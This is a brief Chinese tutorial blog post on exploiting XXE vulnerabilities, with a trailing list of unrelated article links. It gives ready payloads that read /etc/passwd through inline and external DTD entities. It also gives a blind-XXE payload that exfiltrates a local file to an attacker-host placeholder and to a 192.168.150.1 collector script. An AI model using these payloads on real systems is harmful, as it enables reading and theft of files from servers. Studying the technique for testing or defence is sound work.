利用XXE漏洞可以进行 拒绝服务攻击、文件读取、命令代码执行、SQL(XSS)注入、内外扫描端口和入侵内网站点等,内网探测和入侵是利用XXE中支持的协议进行内网主机和端口的发现

一般XXE的利用分为两个场景:有回显 和 无回显。

有回显的情况下可以直接在页面看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据

有回显的情况下:

①内部实体:

1、直接通过DTD外部实体声明

<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]> <hhh>&f;<hhh>

①外部实体引入:

1、通过DTD文档引入外部DTD文档中的外部实体声明

<?xml version="1.0"?>
<!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd"> <hhh>&f;<hhh>

外部evil.dtd中的内容:

<!ENTITY f SYSTEM "file:///etc/passwd">

2、通过DTD外部实体声明引入外部DTD文档中的外部实体声明

<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
]> <hhh>&f;<hhh>

Quan.dtd的内容

<!ENTITY f SYSTEM "file:///etc/passwd">

无回显:Blind XXE

参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者主机IP/Quan.xml">
%remote;
%all;
]> <root>&send;</root>

Quan.xml内容

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

%remote引入外部XML文件到这个 XML 中,%all检测到send实体,在 root 节点中引入 send 实体,便可实现数据转发。

利用过程:第3行,存在漏洞的服务器会读出file的内容(c:/1.txt),通过Quan.xml带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。

最新文章

  1. 多线程之任务: Task 基础, 多任务并行执行, 并行运算(Parallel)
  2. 浅谈对Spring Framework的认识
  3. python-study1 in hubei
  4. 国内大学毕业论文 LaTeX 模板集合
  5. linux配置java环境变量(详细)【转】
  6. Linux Mint下安装JDK
  7. c#常用的一些命名空间
  8. http://www.cnbc.com/2016/07/12/tensions-in-south-china-sea-to-persist-even-after-court-ruling.html
  9. python推荐淘宝物美价廉商品 2.0
  10. PHP图片裁剪函数(图像不变形)
  11. [置顶] c#验证码识别、图片二值化、分割、分类、识别
  12. 闭包用法,延迟tab
  13. Oracle-3 - :超级适合初学者的入门级笔记--用户权限,set运算符,高级子查询
  14. 51 NOD 1238 最小公倍数之和 V3
  15. restful framework 认证源码流程
  16. 【洛谷3047】[USACO12FEB]附近的牛Nearby Cows
  17. Photoshop打造唯美的蓝色古装外景人物图片
  18. 修改hosts文件用来观看coursera视频
  19. LeetCode 题解之Linked List Cycle II
  20. SqlServer和Mysql插入记录前判断是否存在,存在则插入,不存在则修改。

热门文章

  1. Nginx配置REWRITE隐藏index.php
  2. .net Core MongoDB用法演示
  3. ubuntu docker 搭建 mongodb,开启授权访问 redis,mysql mssql 备份还原
  4. 『Blocks 区间dp』
  5. -Shell 教程 Bash 脚本 基础语法 MD
  6. Java开发月薪2W的知乎讨论记录截取
  7. 封装:简要介绍自定义开发基于WPF的MVC框架
  8. Node.js 中 exports 和 module.exports 的区别
  9. 安全SECUERITY单词SECUERITY证券
  10. android中listview滑动卡顿的原因